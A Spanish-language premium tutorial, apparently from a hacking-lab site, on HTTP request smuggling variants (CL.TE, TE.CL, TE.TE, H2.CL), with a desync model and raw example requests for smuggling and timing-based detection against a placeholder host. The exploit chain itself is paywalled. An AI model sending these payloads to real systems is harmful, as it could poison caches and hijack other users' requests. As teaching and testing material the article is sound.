Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

HTTP request smuggling — H2→H1 desync, TE.CL, CL.TE y H2.CL en 2026

Catálogo actualizado de HTTP smuggling: CL.TE clásico, TE.CL, H2→H1 downgrade desyncs, HTTP/2 SETTINGS frame abuse, chunked extensions y pseudo-headers HTTP/2.

Gorka El Bochi11 de mayo de 202616 min

Respuesta rápida

HTTP request smuggling sigue siendo el bug de mayor ROI en 2026 contra stacks complejos (CDN + WAF + origin). Las cuatro variantes que pagan: CL.TE (clásico), TE.CL (clásico invertido), H2.CL (HTTP/2 downgrade con Content-Length custom), y el reciente single-packet H2 desync que vence load balancers serverless tipo Cloudflare Workers. Cuando frontend y backend interpretan distinto dónde termina una request, el atacante contrabandea una segunda dentro de la primera → ATO, cache poisoning, internal access. Detection: smuggler.py + Burp HTTP Request Smuggler + timing-based oracles.


1. El modelo mental

css
[Cliente][Frontend (CDN/LB/WAF)][Backend (origin)]
              ↑                          ↑
              CL: 13                     TE: chunked
              "parser cree termina aquí" "parser cree termina más allá"

Cuando frontend dice "esta request termina en byte 13" y backend dice "esta termina en byte 50", los bytes 14-50 quedan prependidos a la siguiente request que llega al backend en la misma conexión TCP/TLS.

Esa "siguiente request" es la de otro usuario (las conexiones backend son compartidas). El atacante controla lo que se pre-pende a los requests de otros. Eso es account takeover, cache poisoning, internal endpoint access.


2. Las cuatro variantes principales

VarianteFrontend usaBackend usaCuándo aplica
CL.TEContent-LengthTransfer-Encoding: chunkedFrontend más viejo, backend moderno
TE.CLTransfer-Encoding: chunkedContent-LengthFrontend moderno, backend más viejo
TE.TETE con obfuscationTE standardAmbos soportan TE pero uno falla con variant
H2.CL / H2.TEHTTP/2 framingHTTP/1.1 con CL/TEFrontend H2 downgrade a H1 al origin

3. CL.TE clásico

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
  • Frontend lee Content-Length: 13 → consume 13 bytes (0\r\n\r\nSMUGGLED), forward al backend.
  • Backend lee Transfer-Encoding: chunked → primer chunk es 0 (vacío, fin del body) → consume solo 0\r\n\r\n → la palabra SMUGGLED queda en el buffer.
  • La siguiente request normal del próximo user se concatena con SMUGGLED por delante → SMUGGLEDGET / HTTP/1.1... → corrupted, o usable como prefix injection.

Detection timing

http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

Si la respuesta tarda mucho (timeout esperando bytes que no llegan) → CL.TE. El backend interpreta TE, espera el chunk de 1 byte ya consumido + un siguiente que nunca llega.


4. TE.CL clásico

http
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

  • Frontend lee TE → primer chunk de 8 bytes (SMUGGLED), después 0\r\n\r\n → request termina, todo forward al backend.
  • Backend lee Content-Length: 3 → consume solo 8\r\n (3 bytes) → el resto (SMUGGLED\r\n0\r\n\r\n) queda en buffer → prepended al siguiente request.

Detection timing

http
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0


X

Backend lee 6 bytes con CL → toma 0\r\n\r\nX → respuesta inmediata. Pero la X queda en buffer → próxima request corrompida (paths inválidos).


Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Http Request Smuggling

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados